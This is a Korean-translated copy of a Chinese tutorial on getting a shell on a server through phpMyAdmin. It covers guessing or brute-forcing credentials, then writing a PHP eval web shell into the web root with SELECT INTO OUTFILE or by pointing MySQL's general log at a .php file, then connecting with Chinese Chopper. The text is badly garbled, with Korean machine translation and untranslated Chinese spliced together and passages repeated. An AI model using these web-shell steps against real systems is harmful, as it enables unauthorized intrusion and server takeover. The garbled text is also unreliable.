> 데이터 베이스 > phpMyAdmin > PhpMyAdmin 백그라운드 getshell(침투 테스트)

PhpMyAdmin 백그라운드 getshell(침투 테스트)

藏色散人
풀어 주다: 2021-06-18 18:15:22
앞으로
3486명이 탐색했습니다.

다음은 phpmyadmin 튜토리얼 칼럼에 나온 PhpMyAdmin 배경 getshell(침투 테스트)에 대한 소개입니다. 필요한 친구들에게 도움이 되길 바랍니다!

PhpMyAdmin 소개

PhpMyAdmin은 PHP 기반의 MySQL 데이터베이스 관리 도구이며 웹 사이트 호스트에서 웹 기반 모드로 구성되어 있어 관리자가 웹 인터페이스를 사용하여 MySQL 데이터베이스를 관리할 수 있습니다. 이 웹 인터페이스는 특히 대량의 데이터를 가져오고 내보낼 때 복잡한 SQL 구문을 간단한 방법으로 입력하는 더 나은 방법이 될 수 있습니다.
PhpMyAdmin 백그라운드 getshell(침투 테스트)
대상에 대한 정보를 수집하고 감지한 후 phpmyadmin 디렉터리가 있는 것으로 확인되면(시도: http://ip:port/phpmyadmin/) 취약한 비밀번호를 통해( http://ip:端口/phpmyadmin/ )时,进而通过弱口令(可以直接尝试下账号root密码root)或者暴力破解进入管理后台之后,有多种方法进行getshell。
PhpMyAdmin 백그라운드 getshell(침투 테스트)

into outfile导出木马

想在网站内部插入木马,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等(可参考另一篇博文:https://blog.csdn.net/weixin_39190897/article/details/99078864 )。

最方便的是用select @@basedir;直接查(但有时没法查出来,只能另寻它法):
PhpMyAdmin 백그라운드 getshell(침투 테스트)

根据上面的反馈,我们可以看到 MySQL 的位置在 D:softphpStudyMySQL目录下。

获得网站路径后就可以企图上传木马了,最常用的是通过into outfile在网站根目录上直接写入一句话木马:

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:softphpStudywwwxxx.php';

但在新版的mysql中,这句话并没有运行成功。
PhpMyAdmin 백그라운드 getshell(침투 테스트)
Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';命令来查看该参数:
PhpMyAdmin 백그라운드 getshell(침투 테스트)
secure_file_priv为NULL时,表示限制Mysql不允许导入导出,所以爆出错误。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv ="" 即可:
PhpMyAdmin 백그라운드 getshell(침투 테스트)
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制,此时就可以执行导出命令。

利用Mysql日志文件

Mysql 5.0版本以上会创建日志文件,通过修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。(注:linux因为权限问题亲测没有成功)。先来介绍两个MySQL全局变量:general_loggeneral_log file

  1. general log 指的是日志保存状态,ON代表开启 OFF代表关闭;
  2. general log file 指的是日志的保存路径。

查看日志状态的命令:show variables like '%general%';
PhpMyAdmin 백그라운드 getshell(침투 테스트)
在以上配置中,当开启general时,所执行的sql语句都会出现在WIN-30DFNC8L78A.log 계정 루트 비밀번호 root)를 직접 시도하거나 무차별 대입을 사용하여 관리 배경으로 들어갈 수 있습니다. getshell에는 여러 가지 방법이 있습니다.

여기에 이미지 설명 삽입🎜🎜outfile 내보내기 Trojan🎜 🎜 웹사이트 내부에 트로이 목마를 삽입하려면 해당 웹사이트의 절대 경로를 알아야 합니다. 오류 보고, phpinfo.php 등을 통해 경로를 얻는 방법이 있습니다. (다른 블로그 게시물: https를 참조하세요.) //blog.csdn.net/weixin_39190897/article/details/99078864). 🎜🎜가장 편리한 방법은 select @@basedir;를 사용하여 직접 확인하는 것입니다(그러나 때로는 찾을 수 없어서 다른 방법을 찾아야 합니다): 🎜여기에 이미지 설명 삽입🎜🎜위 피드백에 따르면 MySQL은 D:softphpStudyMySQL 디렉토리에 있습니다. 🎜🎜웹사이트 경로를 얻은 후 트로이 목마 업로드를 시도할 수 있습니다. 가장 일반적인 방법은 outfile을 통해 웹사이트의 루트 디렉터리에 직접 트로이 목마 문장을 작성하는 것입니다. 🎜🎜 '<?php eval($_POST[cmd]); ?>'를 'D:softphpStudywwwxxx.php';🎜🎜새 버전에서는 이 문장이 성공적으로 실행되지 않았습니다. 🎜여기에 이미지 설명 삽입🎜 Mysql의 새로운 기능 secure_file_priv 는 파일 읽기 및 쓰기에 영향을 미칩니다. 이 매개변수는 가져오기 및 내보내기를 제한하는 데 사용됩니다. '%secure%'와 같은 전역 변수 표시; 명령을 사용하여 이 매개변수를 볼 수 있습니다: 🎜🎜 secure_file_priv가 NULL이면 Mysql에서 가져오기 및 내보내기가 제한되어 있다는 의미이므로 오류가 발생합니다. 명령문을 성공적으로 내보내려면 Mysql 폴더의 my.ini 파일을 수정하고 secure_file_priv =""를 [mysqld]에 추가해야 합니다: 🎜🎜 secure_file_priv값이 >에는 특별한 값이 없으므로, mysqld의 import|export에 제한이 없다는 의미이며, 이 때 내보내기 명령을 실행할 수 있다. 🎜🎜Mysql 로그 파일 사용🎜🎜Mysql 버전 5.0 이상에서는 로그의 전역 변수를 수정하여 getshell을 생성할 수도 있습니다. 그러나 생성된 로그에 대한 읽기 및 쓰기 권한도 있어야 합니다. (참고: Linux에서의 개인 테스트는 권한 문제로 인해 실패했습니다.) 먼저 두 개의 MySQL 전역 변수인 general_loggeneral_log file을 소개하겠습니다. 🎜
  1. 🎜일반 로그🎜는 로그 저장 상태를 나타내며, ON은 열림을 의미하고, OFF는 닫힘을 의미합니다.
  2. 🎜일반 로그 파일🎜은 로그의 저장 경로를 나타냅니다.
🎜로그 상태를 보는 명령: '%general%'와 같은 변수 표시;🎜여기에 이미지 설명 삽입🎜 위 구성에서 일반을 ​​켜면 🎜에서 실행한 SQL 문이 WIN-30DFNC8L78A에 나타납니다. .log파일 🎜. 🎜

그런 다음 general_log_file的值,那么所执行的sql语句就会对应生成,进而getshell。
PhpMyAdmin 백그라운드 getshell(침투 테스트)PhpMyAdmin 백그라운드 getshell(침투 테스트)
对应就会生成xxx.php文件
PhpMyAdmin 백그라운드 getshell(침투 테스트)
将一句话木马写入xxx.php文件:SELECT '<?php eval($_POST["cmd"]);?>'
PhpMyAdmin 백그라운드 getshell(침투 테스트)
을 수정하면 로그 파일에 기록된 Trojan 문을 볼 수 있습니다.
PhpMyAdmin 백그라운드 getshell(침투 테스트)마지막으로 Chinese Chopper 연결, getshell:
PhpMyAdmin 백그라운드 getshell(침투 테스트)

위 내용은 PhpMyAdmin 백그라운드 getshell(침투 테스트)의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:csdn.net
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿